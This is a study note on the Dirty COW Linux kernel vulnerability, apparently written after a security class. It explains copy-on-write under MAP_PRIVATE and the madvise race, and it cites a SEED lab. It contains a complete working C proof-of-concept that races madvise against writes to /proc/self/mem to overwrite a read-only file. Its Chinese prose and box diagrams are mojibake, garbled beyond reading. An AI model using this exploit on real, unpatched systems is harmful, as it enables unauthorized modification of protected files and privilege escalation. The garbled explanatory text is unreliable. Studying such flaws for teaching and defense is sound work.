Dirty COW๐ฎ
่ฟไธ้จๅไฝไธบๅทฒ็ปไฟฎๅค็็ณป็ปๆผๆด๏ผๆพๅฐ่ฟ้ๆ็นไธๅคชๅ้ไบ๏ผไฝๆไธๆฌกไธ่ฏพ่ๅธๆๅฐ๏ผ็ฟปๅฐ็ฎๅฝๆถๅ็ช็ถ็ๅฐ๏ผๆไปฅๅฐฑๆณ็ฎๅ่ฎฐๅฝไธไธ
mmap
file memory
โโโโโโโโโโโโโโโโโโโโ\ โโโโโโโโโโโโโโโโ
โ โ \ โ โ
โ โ change \โโโโโโโดโโโโโโโโโโโโโโโดโโโ
โ โ<----\ โ โ
โ โ \-----\ โ โโโโโโโโโโโ> process
โโโโโโโโโโโโโโโโโโโโ\ \-โ โ
\ โ โ
\โโโโโโโฌโโโโโโโโโโโโโโโฌโโโ
โ โ
โ โ
โ โ
โ โ
โ โ
โ โ
โโโโโโโโโโโโโโโโ
ๅฝ่ฟ็จไฝฟ็จMAP_SHARED
ๅฐๆไปถๆ ๅฐๅฐ่ๆๅ
ๅญไธญๆถ๏ผๆไปถๅจ่ๆๅ
ๅญไธ็ไฟฎๆน๏ผไนไผๅๆ ๅฐๅฎ้
็ฉ็ๅ
ๅญไธญ;ๆไปฅๅฝ่ฟ็จๆณ่ฆๆ็งๆ่ฟ็จ๏ผไธๅธๆไฟฎๆน่ขซๅ
ถๅฎๆไปถ็ๅฐๆถ๏ผๅฏไปฅไฝฟ็จMAP_PRIVATE
๏ผๅจไฟฎๆนๆถ๏ผๅจๅ
ๅญไธญๅไธไปฝๆไปถ็็งๆๆท่ด๏ผๅนถไธ่ฏฅๆท่ดๆฏๅๆถๆท่ด(COW):ๅชๆๅจ่ฟ็จๅๅๆไฝๆถ๏ผ้่ฆๅฐๆ ๅฐๅฐๅ
ๅญไธญ็ๅ
ๅฎนๆท่ด
file memory
โโโโโโโโโโโโโโโโโโโโ\ โโโโโโโโโโโโโโโโ
โ โ \ โ โ
โ โ change \โโโโโโโดโโโโโโโโโโโโโโโดโโโ
โ โ<----\ โ โ
โ โ \-----\ โ โโโโโโโโโโโ> process
โโโโโโโโโโโโโโโโโโโโ\ \-โ โ
\ โ โ
\โโโโโโโฌโโโโโโโโโโโโโโโฌโโฌโ
โ โ โ
โ โ โ
โ โ โCOW(if MAP_PRIVATE)
โ โ โ
โ โ โ
โ โ โ
โ โ \/
โโโโดโโโโโโโโโโโโโโโดโโโ
โ โ
โ โโโโโโโโโโโ> process
โ โ โ
โ โ<โโโโโโโโโโโโโโโ
โโโโฌโโโโโโโโโโโโโโโฌโโโ change
โ โ
โ โ
โโโโโโโโโโโโโโโโ
ไฝฟ็จmadvise()
ๅฝๆฐ๏ผๅฏไปฅไฝฟๅพๅคๅถๅบ็็งๆๅ
ๅญ็ฉบ้ด่ขซไธขๅผ๏ผๅนถๅฐ่ฟ็จ็่ๆๅ
ๅญ้กต่กจ๏ผ้ๆฐๆๅๆๅ็ๅ
ๅญ็ฉบ้ด๏ผๆญคๆถๅจไฟฎๆนๆถ๏ผๅฐฑๅฏไปฅๆนๅ็ฉ็็ฉบ้ดไธญ็ๅฎ้
ๅ
ๅฎน๏ผ่พพๅฐไฟฎๆนๅช่ฏปๆไปถ็็ฎ็๏ผ
mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table ---> write
into memory
# bug =>
mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table
*****exploit*****
--- madvice(...,MADV_DONTNEED) ---> write into memory
Example:
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/xxx", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "222222");
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg)
{
char *content= "******";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Reference: https://seedsecuritylabs.org/Labs_20.04/Software/Dirty_COW/
(ๅจUbuntu16.04ไธญ๏ผ่ฏฅๆผๆดๅทฒไฟฎๅค)